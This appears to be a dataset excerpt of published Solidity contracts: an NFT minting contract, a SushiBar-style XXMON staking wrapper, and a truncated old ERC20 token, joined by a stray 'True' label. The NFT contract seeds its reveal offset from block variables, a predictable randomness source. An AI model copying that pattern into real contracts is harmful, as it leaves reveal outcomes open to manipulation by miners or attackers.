* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/interface/MinterMintable.sol
pragma solidity ^0.8.7;
interface MinterMintable {
function isMinter(address check) external view returns (bool);
function mint(address owner) external returns (uint256);
function batchMint(address owner, uint256 amount) external returns (uint256[] memory);
}
// File: contracts/interface/GhettoSharkhoodInterface.sol
pragma solidity ^0.8.7;
interface GhettoSharkhoodInterface {
function isRevealed() external view returns (bool);
function sequenceId(uint256 tokenId) external view returns (uint256);
function batchMax() external view returns (uint256);
}
// File: contracts/GhettoSharkhood.sol
pragma solidity ^0.8.7;
contract GhettoSharkhood is ERC721, Ownable, MinterMintable, GhettoSharkhoodInterface {
constructor() ERC721("GhettoSharkhood", "GSH") {
}
// minters
mapping(address => bool) _isMinter_;
modifier onlyMinter() {
require(_isMinter_[msg.sender], "GhettoSharkhood: msg.sender is not a minter");
_;
}
/**
* This function is to get check whether the address is a minter.
*/
function isMinter(address addr) external view override returns (bool) {
return _isMinter_[addr];
}
function setMinter(address addr, bool status) external onlyOwner {
_isMinter_[addr] = status;
}
// Blackbox control
/**
* The boolean value that saving the status of revealing.
*/
bool private _isRevealed_ = false;
/**
* The offset of NFT
*/
uint256 _offset_ = 0;
/**
* This event will be triggered after revealing.
*/
event Revealed();
/**
* This is an owner only function
* this function will set revealed to true, and generate a random offset less than totalSupply;
*/
function reveal() public onlyOwner {
require(_baseURILocked_, "GhettoSharkhood: Base URI should be locked before revealing.");
_isRevealed_ = true;
_offset_ = randomNumber();
emit Revealed();
}
/**
* The view function to the status of revealing.
*/
function isRevealed() external override view returns (bool) {
return _isRevealed_;
}
// Base URI
bool _baseURILocked_ = false;
string private _baseURI_ = "";
string private _placeholderBaseURI_ = "ipfs://QmQYq3gcXzpsUqorNwt8iBoU5u6xVzjDoffGbV6fijbryK/";
function lockBaseURI() public onlyOwner {
require(bytes(_baseURI_).length > 0, "GhettoSharkhood: Base URI should be set before locking.");
_baseURILocked_ = true;
}
/**
* This function is an owner only function, it can change baseURI.
*/
function setBaseURI(string memory uri) public onlyOwner {
require(!_baseURILocked_, "GhettoSharkhodd: BaseURI has been locked, it cannot be changed anymore.");
_baseURI_ = uri;
}
/**
* This function overrides the function defined in ERC721 contract
*/
function _baseURI() internal view override returns (string memory) {
return _baseURI_;
}
/**
* This function will return the real NFT base uri.
*/
function baseURI() public view returns (string memory) {
return _baseURI();
}
/**
* This function is an owner only function, it can change placeholder baseURI.
*/
function setPlaceholderBaseURI(string memory uri) public onlyOwner {
_placeholderBaseURI_ = uri;
}
/**
* This function will return the placeholder base uri.
*/
function placeholderBaseURI() public view returns (string memory) {
return _placeholderBaseURI_;
}
// NFT
uint256 _totalSupply_ = 10000;
uint256 _currentTokenId_ = 0;
/**
* This variable keep the max size of batch to avoid out of gas exception.
*/
uint256 _batchMax_ = 100;
/**
* This modifier will calculate whether it will exceed the totalSupply after minting or not.
*/
modifier enoughToMint(uint256 amount) {
require(
amount <= _totalSupply_
&& _currentTokenId_ + amount > _currentTokenId_
&& _currentTokenId_ + amount <= _totalSupply_, "GhettoSharkhood: GhettoSharkhoold are all minted.");
_;
}
/**
* This modifier will limit the amount larger than batch size.
*/
modifier underMaxBatchSize(uint256 amount) {
require(amount <= _batchMax_, "GhettoSharkhood: over the limit of batch size.");
_;
}
/**
* This function can only be called by minter, it will mint 1 NFT to specified owner.
*/
function mint(address owner) external override onlyMinter enoughToMint(1) returns (uint256) {
return (mintSpeficiedAmount(owner, 1))[0];
}
/**
* This function can only called by minter, it will mint specified amount of NFT to specified owner.
*/
function batchMint(address owner, uint256 amount) external override
onlyMinter
enoughToMint(amount)
underMaxBatchSize(amount)
returns (uint256[] memory) {
require(amount >= 1, "GhettoShakhood: amount should larger than 0.");
return mintSpeficiedAmount(owner, amount);
}
/**
* This is an internal function, and it is the real operator to mint NFT to user,
* it will return an array of tokenID after minting.
*/
function mintSpeficiedAmount(address owner, uint256 amount) internal returns (uint256[] memory) {
uint256[] memory minted_ = new uint256[](amount);
for(uint256 i = 0; i < amount; i ++) {
uint256 tokenIdToMint = _currentTokenId_ + i + 1;
_safeMint(owner, tokenIdToMint);
minted_[i] = tokenIdToMint;
}
_currentTokenId_ += amount;
return minted_;
}
/**
* This function overrides the function defined in ERC721 contract,
* before revealing or baseURI has not been set, it will always return the placeholder.
* otherwise, the sequenceId will be calculated and combined to tokenURI.
*/
function tokenURI(uint256 tokenId_) public view override returns (string memory) {
require(_exists(tokenId_), "ERC721Metadata: URI query for nonexistent token");
if (!_isRevealed_) {
return bytes(_placeholderBaseURI_).length > 0 ?
string(abi.encodePacked(_placeholderBaseURI_, Strings.toString(tokenId_), ".json")) : "";
}
return bytes(_baseURI_).length > 0 ?
string(abi.encodePacked(_baseURI_, Strings.toString(_sequenceId(tokenId_)), ".json")) : "";
}
/**
* This function will return the max batch size.
*/
function batchMax() external override view returns (uint256) {
return _batchMax_;
}
/**
* This function will return the totalSupply of NFT.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply_;
}
/**
* This function will return the last tokenID has been bought.
*/
function getCurrentTokenId() external view returns (uint256) {
return _currentTokenId_;
}
// Utilities
function randomNumber() internal view virtual returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp, block.number)));
}
/**
* This function will return the sequenceId of tokenId,
* as we mentioned above
* sequenceId is the id that point to GhettoSharkhood.
* tokenId is the token that user keep.
*/
function sequenceId(uint256 tokenId) external override view returns (uint256) {
return _sequenceId(tokenId);
}
/**
* This function will caculate the ID for specified tokenID,
* for example:
* tokenId -> 1 and the offset -> 1, the sequenceId will be 2.
* tokenId -> 10000 and the offset -> 1, the sequenceId will be 1.
*/
function _sequenceId(uint256 tokenId) internal view returns (uint256) {
return _isRevealed_ ? (((tokenId - 1) + _offset_) % _totalSupply_ + 1) : 0;
}
/**
* The flag to save whether team has reserved 200 NFT or not.
*/
bool _teamClaimed_ = false;
/**
* This function is an owner only function,
* the contract owner can mint 200 NFT, and don't need to mint via any minter,
* but this is one time operation.
*/
function teamClaim() public onlyOwner returns (uint256[] memory) {
require(!_teamClaimed_, "GhettoSharkhood: team has claimed already");
_teamClaimed_ = true;
return mintSpeficiedAmount(msg.sender, 200);
}
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/**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
/**
*Submitted for verification at Etherscan.io on 2020-09-05
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// Forked from: contracts/SushiBar.sol
pragma solidity 0.6.8;
contract XXMON is ERC20("XXMON", "xXMON"){
using SafeMath for uint256;
IERC20 public xmon;
constructor(IERC20 _xmon) public {
xmon = _xmon;
}
// Wrap XMON to xXMON
function enter(uint256 _amount) public {
uint256 totalSushi = xmon.balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || totalSushi == 0) {
_mint(msg.sender, _amount);
} else {
uint256 what = _amount.mul(totalShares).div(totalSushi);
_mint(msg.sender, what);
}
xmon.transferFrom(msg.sender, address(this), _amount);
}
// Unwrap XMON to xXMON
function leave(uint256 _share) public {
uint256 totalShares = totalSupply();
uint256 what = _share.mul(xmon.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, _share);
xmon.transfer(msg.sender, what);
}
// Calculates amount received if leaves
function exchangeRate(uint256 amount) public view returns(uint256) {
uint256 totalShares = totalSupply();
uint256 what = amount.mul(xmon.balanceOf(address(this))).div(totalShares);
return what;
}
} | True | [
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pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
